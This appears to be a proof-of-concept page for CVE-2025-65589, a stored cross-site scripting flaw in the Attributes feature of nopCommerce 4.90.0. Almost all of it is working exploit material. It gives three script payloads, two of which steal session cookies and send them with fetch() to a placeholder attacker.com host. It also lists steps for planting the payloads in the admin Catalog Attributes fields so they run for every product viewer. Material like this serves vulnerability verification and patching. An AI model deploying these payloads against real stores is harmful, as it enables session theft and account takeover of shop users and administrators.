CVE-2025-65589: nopCommerce 4.90.0 Attributes功能跨站脚本漏洞

// CVE-2025-65589 PoC - nopCommerce 4.90.0 XSS via Attributes // Target: nopCommerce 4.90.0 Attributes functionality // PoC 1: Basic XSS alert const xssPayload1 = '<script>alert("XSS CVE-2025-65589")</script>'; // PoC 2: Cookie stealing payload const xssPayload2 = '<img src=x onerror="fetch(\'https://attacker.com/steal?cookie=\'+document.cookie)">'; // PoC 3: DOM-based XSS const xssPayload3 = '<svg/onload=fetch("https://attacker.com/exfil?data="+btoa(document.cookie))>'; // Example exploitation steps: // 1. Navigate to nopCommerce Admin Panel -> Catalog -> Attributes // 2. Create new attribute or edit existing one // 3. Insert XSS payload in attribute name/value field // 4. Save the attribute // 5. When any user views products with this attribute, XSS triggers // Suggested test payload for verification: const testPayload = '<script>console.log("CVE-2025-65589 PoC")</script>';